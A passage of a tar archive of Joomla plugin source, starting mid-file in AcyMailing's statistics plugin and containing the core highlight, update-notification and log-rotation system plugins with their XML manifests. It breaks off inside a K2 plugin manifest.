			$filename = intval($tag->id).'_clicks_'.$day.'.png';
			if(file_exists(ACYMAILING_MEDIA.'statistic_charts'.DS.$filename)) {
				$oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
			}else{
				$created = piechartToImage($filename, 200, 200, array_values($values), $colors);
				if($created) $oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
			}

			$oneChart->legend = $values;
			if(!empty($oneChart->chart)) $charts[] = $oneChart;
		}

		if(!empty($charts)){
			$colors = array('9ac3f8', 'c7e586', 'e56e65', 'ae93d1', 'f8a657', '2ebbb4', 'ff85cb', 'ffd041', '638ca6');

			$i = 0;
			$newsStats->subject = Emoji::Decode($newsStats->subject);
			$result = '<div class="acymailing_content_stats" style="margin-bottom: 20px;"><h2 class="acymailing_title">'.$newsStats->subject.'</h2><table style="width:100%;"><tr>';

			foreach($charts as $oneChart){
				if($i%2 == 0 && $i != 0) $result .= '</tr><tr>';

				$result .= '<td style="text-align: center;" valign="top">';
				$result .= '<div class="acymailing_chart_title" style="text-align: center;">'.$oneChart->title.'</div>';
				$result .= $oneChart->chart;

				$result .= '<table class="chartlegends" style="width:100%;">';
				$j = 0;
				$total = array_sum($oneChart->legend);
				$others = 0;
				$elements = count($oneChart->legend)-1;
				foreach($oneChart->legend as $legend => $value) {
					if(empty($value)) continue;

					if(empty($colors[$j])){
						$others += $value;

						if($j != $elements){
							$j++;
							continue;
						}

						$result .= '<tr><td><div style="display: inline-block;width: 8px;height:8px;border-radius:4px;background-color: #424242;"></div> ';
						$result .= acymailing_translation('OTHER').' ('.$others.': '.round($others*100/$total).'%)</td></tr>';
						break;
					}

					$result .= '<tr><td><div style="display: inline-block;width: 8px;height:8px;border-radius:4px;background-color: #'.$colors[$j].';"></div> ';
					$result .= acymailing_translation($legend).' ('.$value.': '.round($value*100/$total).'%)</td></tr>';

					$j++;
				}
				$result .= '</table>';

				$result .= '</td>';
				$i++;
			}
			if($i%2 != 0) echo '<td/>';

			$result .= '</tr></table></div>';
		}

		if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'acystats.php')){
			ob_start();
			require(ACYMAILING_MEDIA.'plugins'.DS.'acystats.php');
			$result = ob_get_clean();
			$result = str_replace(array_keys($varFields), $varFields, $result);
		}

		$result = $this->acypluginsHelper->removeJS($result);

		return $result;
	}
}//endclass
                                                                                                                                                                                                                                                                                                                                                                                                                         acymailing/stats/stats.xml                                                                          0000705                 00000006350 15242051520 0011675 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing : Statistics Plugin</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin is used to handle statistics on any AcyMailing e-mail</description>
	<files>
		<filename plugin="stats">stats.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-stats"/>
		<param name="picture" type="text" size="60" label="Stat picture" default="media/com_acymailing/images/statpicture.png" description="Path of the statistic picture"/>
		<param name="alttext" type="text" size="60" default="" label="Alt Text" description="Alternatif text which will be displayed if the user does not accept to load your images" />
		<param name="width" type="text" size="2" default="50" label="Stat picture width" description="An image will be added in your HTML e-mails to be able to handle statistics. You can modify the width of the stat picture." />
		<param name="height" type="text" size="2" default="1" label="Stat picture height" description="An image will be added in your HTML e-mails to be able to handle statistics. You can modify the height of the stat picture." />
		<param name="displayfilter_mail" type="radio" default="0" label="Display filter" description="Display the statistics filter on the Newsletter creation interface">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-stats"/>
				<field name="picture" type="text" size="60" label="Stat picture" default="media/com_acymailing/images/statpicture.png" description="Path of the statistic picture"/>
				<field name="alttext" type="text" size="60" default="" label="Alt Text" description="Alternatif text which will be displayed if the user does not accept to load your images" />
				<field name="width" type="text" size="2" default="50" label="Stat picture width" description="An image will be added in your HTML e-mails to be able to handle statistics. You can modify the width of the stat picture." />
				<field name="height" type="text" size="2" default="1" label="Stat picture height" description="An image will be added in your HTML e-mails to be able to handle statistics. You can modify the height of the stat picture." />
				<field name="displayfilter_mail" type="radio" default="0" label="Display filter" description="Display the statistics filter on the Newsletter creation interface">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                        acymailing/stats/index.html                                                                         0000705                 00000000054 15242051520 0012005 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/index.html                                                                                   0000705                 00000000037 15242051520 0010057 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/highlight/index.html                                                                         0000705                 00000000036 15242051520 0012025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/highlight/highlight.php                                                                      0000705                 00000004074 15242051520 0012516 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Highlight
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * System plugin to highlight terms.
 *
 * @since  2.5
 */
class PlgSystemHighlight extends JPlugin
{
	/**
	 * Method to catch the onAfterDispatch event.
	 *
	 * This is where we setup the click-through content highlighting for.
	 * The highlighting is done with JavaScript so we just
	 * need to check a few parameters and the JHtml behavior will do the rest.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   2.5
	 */
	public function onAfterDispatch()
	{
		// Check that we are in the site application.
		if (JFactory::getApplication()->isClient('administrator'))
		{
			return true;
		}

		// Set the variables.
		$input = JFactory::getApplication()->input;
		$extension = $input->get('option', '', 'cmd');

		// Check if the highlighter is enabled.
		if (!JComponentHelper::getParams($extension)->get('highlight_terms', 1))
		{
			return true;
		}

		// Check if the highlighter should be activated in this environment.
		if ($input->get('tmpl', '', 'cmd') === 'component' || JFactory::getDocument()->getType() !== 'html')
		{
			return true;
		}

		// Get the terms to highlight from the request.
		$terms = $input->request->get('highlight', null, 'base64');
		$terms = $terms ? json_decode(base64_decode($terms)) : null;

		// Check the terms.
		if (empty($terms))
		{
			return true;
		}

		// Clean the terms array.
		$filter     = JFilterInput::getInstance();

		$cleanTerms = array();

		foreach ($terms as $term)
		{
			$cleanTerms[] = htmlspecialchars($filter->clean($term, 'string'));
		}

		// Activate the highlighter.
		JHtml::_('behavior.highlighter', $cleanTerms);

		// Adjust the component buffer.
		$doc = JFactory::getDocument();
		$buf = $doc->getBuffer('component');
		$buf = '<br id="highlighter-start" />' . $buf . '<br id="highlighter-end" />';
		$doc->setBuffer($buf, 'component');

		return true;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/highlight/highlight.xml                                                                      0000705                 00000001464 15242051520 0012527 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_highlight</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see	LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="highlight">highlight.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_highlight.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_highlight.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                            system/updatenotification/postinstall/updatecachetime.php                                           0000705                 00000002605 15242051520 0020170 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.updatenotification
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Checks if the com_installer config for the cache Hours are eq 0 and the updatenotification Plugin is enabled
 *
 * @return  boolean
 *
 * @since   3.6.3
 */
function updatecachetime_postinstall_condition()
{
	$cacheTimeout = (int) JComponentHelper::getComponent('com_installer')->params->get('cachetimeout', 6);

	// Check if cachetimeout is eq zero
	if ($cacheTimeout === 0 && JPluginHelper::isEnabled('system', 'updatenotification'))
	{
		return true;
	}

	return false;
}

/**
 * Sets the cachetimeout back to the default (6 hours)
 *
 * @return  void
 *
 * @since   3.6.3
 */
function updatecachetime_postinstall_action()
{
	$installer = JComponentHelper::getComponent('com_installer');

	// Sets the cachetimeout back to the default (6 hours)
	$installer->params->set('cachetimeout', 6);

	// Save the new parameters back to com_installer
	$table = JTable::getInstance('extension');
	$table->load($installer->id);
	$table->bind(array('params' => $installer->params->toString()));

	// Store the changes
	if (!$table->store())
	{
		// If there is an error show it to the admin
		JFactory::getApplication()->enqueueMessage($table->getError(), 'error');
	}
}
                                                                                                                           system/updatenotification/updatenotification.xml                                                    0000705                 00000003072 15242051520 0016370 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="system" method="upgrade">
	<name>plg_system_updatenotification</name>
	<author>Joomla! Project</author>
	<creationDate>May 2015</creationDate>
	<copyright>(C) 2015 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>PLG_SYSTEM_UPDATENOTIFICATION_XML_DESCRIPTION</description>
	<files>
		<filename plugin="updatenotification">updatenotification.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB.plg_system_updatenotification.ini</language>
		<language tag="en-GB">en-GB.plg_system_updatenotification.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="email"
					type="text"
					label="PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_LBL"
					description="PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_DESC"
					default=""
					size="40"
				/>

				<field
					name="language_override"
					type="language"
					label="PLG_SYSTEM_UPDATENOTIFICATION_LANGUAGE_OVERRIDE_LBL"
					description="PLG_SYSTEM_UPDATENOTIFICATION_LANGUAGE_OVERRIDE_DESC"
					default=""
					client="administrator"
					>
					<option value="">PLG_SYSTEM_UPDATENOTIFICATION_LANGUAGE_OVERRIDE_NONE</option>
				</field>

				<field
					name="lastrun"
					type="hidden"
					default="0"
					size="15"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      system/updatenotification/updatenotification.php                                                    0000705                 00000026526 15242051520 0016370 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.updatenotification
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Uncomment the following line to enable debug mode (update notification email sent every single time)
// define('PLG_SYSTEM_UPDATENOTIFICATION_DEBUG', 1);

/**
 * Joomla! Update Notification plugin
 *
 * Sends out an email to all Super Users or a predefined email address when a new Joomla! version is available.
 *
 * This plugin is a direct adaptation of the corresponding plugin in Akeeba Ltd's Admin Tools. The author has
 * consented to relicensing their plugin's code under GPLv2 or later (the original version was licensed under
 * GPLv3 or later) to allow its inclusion in the Joomla! CMS.
 *
 * @since  3.5
 */
class PlgSystemUpdatenotification extends JPlugin
{
	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.6.3
	 */
	protected $autoloadLanguage = true;

	/**
	 * The update check and notification email code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterRender()
	{
		// Get the timeout for Joomla! updates, as configured in com_installer's component parameters
		$component = JComponentHelper::getComponent('com_installer');

		/** @var \Joomla\Registry\Registry $params */
		$params        = $component->params;
		$cache_timeout = (int) $params->get('cachetimeout', 6);
		$cache_timeout = 3600 * $cache_timeout;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if (!defined('PLG_SYSTEM_UPDATENOTIFICATION_DEBUG') && (abs($now - $last) < $cache_timeout))
		{
			return;
		}

		// Update last run status
		// If I have the time of the last run, I can update, otherwise insert
		$this->params->set('lastrun', $now);

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
					->update($db->qn('#__extensions'))
					->set($db->qn('params') . ' = ' . $db->q($this->params->toString('JSON')))
					->where($db->qn('type') . ' = ' . $db->q('plugin'))
					->where($db->qn('folder') . ' = ' . $db->q('system'))
					->where($db->qn('element') . ' = ' . $db->q('updatenotification'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// This is the extension ID for Joomla! itself
		$eid = 700;

		// Get any available updates
		$updater = JUpdater::getInstance();
		$results = $updater->findUpdates(array($eid), $cache_timeout);

		// If there are no updates our job is done. We need BOTH this check AND the one below.
		if (!$results)
		{
			return;
		}

		// Unfortunately Joomla! MVC doesn't allow us to autoload classes
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_installer/models', 'InstallerModel');

		// Get the update model and retrieve the Joomla! core updates
		$model = JModelLegacy::getInstance('Update', 'InstallerModel');
		$model->setState('filter.extension_id', $eid);
		$updates = $model->getItems();

		// If there are no updates we don't have to notify anyone about anything. This is NOT a duplicate check.
		if (empty($updates))
		{
			return;
		}

		// Get the available update
		$update = array_pop($updates);

		// Check the available version. If it's the same or less than the installed version we have no updates to notify about.
		if (version_compare($update->version, JVERSION, 'le'))
		{
			return;
		}

		// If we're here, we have updates. First, get a link to the Joomla! Update component.
		$baseURL  = JUri::base();
		$baseURL  = rtrim($baseURL, '/');
		$baseURL .= (substr($baseURL, -13) !== 'administrator') ? '/administrator/' : '/';
		$baseURL .= 'index.php?option=com_joomlaupdate';
		$uri      = new JUri($baseURL);

		/**
		 * Some third party security solutions require a secret query parameter to allow log in to the administrator
		 * backend of the site. The link generated above will be invalid and could probably block the user out of their
		 * site, confusing them (they can't understand the third party security solution is not part of Joomla! proper).
		 * So, we're calling the onBuildAdministratorLoginURL system plugin event to let these third party solutions
		 * add any necessary secret query parameters to the URL. The plugins are supposed to have a method with the
		 * signature:
		 *
		 * public function onBuildAdministratorLoginURL(JUri &$uri);
		 *
		 * The plugins should modify the $uri object directly and return null.
		 */

		JEventDispatcher::getInstance()->trigger('onBuildAdministratorLoginURL', array(&$uri));

		// Let's find out the email addresses to notify
		$superUsers    = array();
		$specificEmail = $this->params->get('email', '');

		if (!empty($specificEmail))
		{
			$superUsers = $this->getSuperUsers($specificEmail);
		}

		if (empty($superUsers))
		{
			$superUsers = $this->getSuperUsers();
		}

		if (empty($superUsers))
		{
			return;
		}

		/*
		 * Load the appropriate language. We try to load English (UK), the current user's language and the forced
		 * language preference, in this order. This ensures that we'll never end up with untranslated strings in the
		 * update email which would make Joomla! seem bad. So, please, if you don't fully understand what the
		 * following code does DO NOT TOUCH IT. It makes the difference between a hobbyist CMS and a professional
		 * solution! 
		 */
		$jLanguage = JFactory::getLanguage();
		$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, 'en-GB', true, true);
		$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, null, true, false);

		// Then try loading the preferred (forced) language
		$forcedLanguage = $this->params->get('language_override', '');

		if (!empty($forcedLanguage))
		{
			$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, $forcedLanguage, true, false);
		}

		// Set up the email subject and body

		$email_subject = JText::_('PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_SUBJECT');
		$email_body    = JText::_('PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_BODY');

		// Replace merge codes with their values
		$newVersion = $update->version;

		$jVersion       = new JVersion;
		$currentVersion = $jVersion->getShortVersion();

		$jConfig  = JFactory::getConfig();
		$sitename = $jConfig->get('sitename');
		$mailFrom = $jConfig->get('mailfrom');
		$fromName = $jConfig->get('fromname');

		$substitutions = array(
			'[NEWVERSION]'  => $newVersion,
			'[CURVERSION]'  => $currentVersion,
			'[SITENAME]'    => $sitename,
			'[URL]'         => JUri::base(),
			'[LINK]'        => $uri->toString(),
			'[RELEASENEWS]' => 'https://www.joomla.org/announcements/release-news/',
			'\\n'           => "\n",
		);

		foreach ($substitutions as $k => $v)
		{
			$email_subject = str_replace($k, $v, $email_subject);
			$email_body    = str_replace($k, $v, $email_body);
		}

		// Send the emails to the Super Users
		foreach ($superUsers as $superUser)
		{
			$mailer = JFactory::getMailer();
			$mailer->setSender(array($mailFrom, $fromName));
			$mailer->addRecipient($superUser->email);
			$mailer->setSubject($email_subject);
			$mailer->setBody($email_body);
			$mailer->Send();
		}
	}

	/**
	 * Returns the Super Users email information. If you provide a comma separated $email list
	 * we will check that these emails do belong to Super Users and that they have not blocked
	 * system emails.
	 *
	 * @param   null|string  $email  A list of Super Users to email
	 *
	 * @return  array  The list of Super User emails
	 *
	 * @since   3.5
	 */
	private function getSuperUsers($email = null)
	{
		// Get a reference to the database object
		$db = JFactory::getDbo();

		// Convert the email list to an array
		if (!empty($email))
		{
			$temp   = explode(',', $email);
			$emails = array();

			foreach ($temp as $entry)
			{
				$entry    = trim($entry);
				$emails[] = $db->q($entry);
			}

			$emails = array_unique($emails);
		}
		else
		{
			$emails = array();
		}

		// Get a list of groups which have Super User privileges
		$ret = array();

		try
		{
			$rootId    = JTable::getInstance('Asset', 'JTable')->getRootId();
			$rules     = JAccess::getAssetRules($rootId)->getData();
			$rawGroups = $rules['core.admin']->getData();
			$groups    = array();

			if (empty($rawGroups))
			{
				return $ret;
			}

			foreach ($rawGroups as $g => $enabled)
			{
				if ($enabled)
				{
					$groups[] = $db->q($g);
				}
			}

			if (empty($groups))
			{
				return $ret;
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user IDs of users belonging to the SA groups
		try
		{
			$query = $db->getQuery(true)
						->select($db->qn('user_id'))
						->from($db->qn('#__user_usergroup_map'))
						->where($db->qn('group_id') . ' IN(' . implode(',', $groups) . ')');
			$db->setQuery($query);
			$rawUserIDs = $db->loadColumn(0);

			if (empty($rawUserIDs))
			{
				return $ret;
			}

			$userIDs = array();

			foreach ($rawUserIDs as $id)
			{
				$userIDs[] = $db->q($id);
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user information for the Super Administrator users
		try
		{
			$query = $db->getQuery(true)
						->select(
							array(
								$db->qn('id'),
								$db->qn('username'),
								$db->qn('email'),
							)
						)->from($db->qn('#__users'))
						->where($db->qn('id') . ' IN(' . implode(',', $userIDs) . ')')
						->where($db->qn('block') . ' = 0')
						->where($db->qn('sendEmail') . ' = ' . $db->q('1'));

			if (!empty($emails))
			{
				$query->where('LOWER(' . $db->qn('email') . ') IN(' . implode(',', array_map('strtolower', $emails)) . ')');
			}

			$db->setQuery($query);
			$ret = $db->loadObjectList();
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		return $ret;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		$conf = JFactory::getConfig();

		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' :
							$conf->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
                                                                                                                                                                          system/logrotation/logrotation.php                                                                  0000705                 00000014202 15242051520 0013474 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.logrotation
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\Filesystem\Path;

/**
 * Joomla! Log Rotation plugin
 *
 * Rotate the log files created by Joomla core
 *
 * @since  3.9.0
 */
class PlgSystemLogrotation extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * The log check and rotation code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRender()
	{
		// Get the timeout as configured in plugin parameters

		/** @var \Joomla\Registry\Registry $params */
		$cache_timeout = (int) $this->params->get('cachetimeout', 30);
		$cache_timeout = 24 * 3600 * $cache_timeout;
		$logsToKeep    = (int) $this->params->get('logstokeep', 1);

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if ((abs($now - $last) < $cache_timeout))
		{
			return;
		}

		// Update last run status
		$this->params->set('lastrun', $now);

		$db    = $this->db;
		$query = $db->getQuery(true)
			->update($db->qn('#__extensions'))
			->set($db->qn('params') . ' = ' . $db->q($this->params->toString('JSON')))
			->where($db->qn('type') . ' = ' . $db->q('plugin'))
			->where($db->qn('folder') . ' = ' . $db->q('system'))
			->where($db->qn('element') . ' = ' . $db->q('logrotation'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// Get the log path
		$logPath = Path::clean($this->app->get('log_path'));

		// Invalid path, stop processing further
		if (!is_dir($logPath))
		{
			return;
		}

		$logFiles = $this->getLogFiles($logPath);

		// Sort log files by version number in reserve order
		krsort($logFiles, SORT_NUMERIC);

		foreach ($logFiles as $version => $files)
		{
			if ($version >= $logsToKeep)
			{
				// Delete files which has version greater than or equals $logsToKeep
				foreach ($files as $file)
				{
					File::delete($logPath . '/' . $file);
				}
			}
			else
			{
				// For files which has version smaller than $logsToKeep, rotate (increase version number)
				foreach ($files as $file)
				{
					$this->rotate($logPath, $file, $version);
				}
			}
		}
	}

	/**
	 * Get log files from log folder
	 *
	 * @param   string  $path  The folder to get log files
	 *
	 * @return  array   The log files in the given path grouped by version number (not rotated files has number 0)
	 *
	 * @since   3.9.0
	 */
	private function getLogFiles($path)
	{
		$logFiles = array();
		$files    = Folder::files($path, '\.php$');

		foreach ($files as $file)
		{
			$parts    = explode('.', $file);

			/*
			 * Rotated log file has this filename format [VERSION].[FILENAME].php. So if $parts has at least 3 elements
			 * and the first element is a number, we know that it's a rotated file and can get it's current version
			 */
			if (count($parts) >= 3 && is_numeric($parts[0]))
			{
				$version = (int) $parts[0];
			}
			else
			{
				$version = 0;
			}

			if (!isset($logFiles[$version]))
			{
				$logFiles[$version] = array();
			}

			$logFiles[$version][] = $file;
		}

		return $logFiles;
	}

	/**
	 * Method to rotate (increase version) of a log file
	 *
	 * @param   string  $path            Path to file to rotate
	 * @param   string  $filename        Name of file to rotate
	 * @param   int     $currentVersion  The current version number
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	private function rotate($path, $filename, $currentVersion)
	{
		if ($currentVersion === 0)
		{
			$rotatedFile = $path . '/1.' . $filename;
		}
		else
		{
			/*
			 * Rotated log file has this filename format [VERSION].[FILENAME].php. To rotate it, we just need to explode
			 * the filename into an array, increase value of first element (keep version) and implode it back to get the
			 * rotated file name
			 */
			$parts    = explode('.', $filename);
			$parts[0] = $currentVersion + 1;

			$rotatedFile = $path . '/' . implode('.', $parts);
		}

		File::move($path . '/' . $filename, $rotatedFile);
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		$conf = JFactory::getConfig();

		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' :
							$conf->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
                                                                                                                                                                                                                                                                                                                                                                                              system/logrotation/logrotation.xml                                                                  0000705                 00000003043 15242051520 0013506 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="system" method="upgrade">
	<name>plg_system_logrotation</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_SYSTEM_LOGROTATION_XML_DESCRIPTION</description>
	<files>
		<filename plugin="logrotation">logrotation.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB.plg_system_logrotation.ini</language>
		<language tag="en-GB">en-GB.plg_system_logrotation.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="cachetimeout"
					type="integer"
					label="PLG_SYSTEM_LOGROTATION_CACHETIMEOUT_LABEL"
					description="PLG_SYSTEM_LOGROTATION_CACHETIMEOUT_DESC"
					first="0"
					last="120"
					step="1"
					default="30"
					filter="int"
					validate="number"
				/>

				<field
					name="logstokeep"
					type="integer"
					label="PLG_SYSTEM_LOGROTATION_LOGSTOKEEP_LABEL"
					description="PLG_SYSTEM_LOGROTATION_LOGSTOKEEP_DESC"
					first="1"
					last="10"
					step="1"
					default="1"
					filter="int"
					validate="number"
				/>

				<field
					name="lastrun"
					type="hidden"
					default="0"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             system/k2/k2.xml                                                                                    0000705                 00000001471 15242051520 0007437 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
    <name>System - K2</name>
    <author>JoomlaWorks</author>
    <creationDate>(see K2 component)</creationDate>
    <copyright>Copyright (c) 2009 - 2024 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>https://www.joomlaworks.net</authorUrl>
    <version>(see K2 component)</version>
    <license>https://gnu.org/licenses/gpl.html</license>
    <description>K2_THE_K2_SYSTEM_PLUGIN_IS_USED_TO_ASSIST_THE_PROPER_FUNCTIONALITY_OF_THE_K2_COMPONENT_SITE_WIDE_MAKE_SURE_ITS_ALWAYS_PUBLISHED_WHEN_THE_K2_COMPONENT_IS_INSTALLED</description>
    <files>
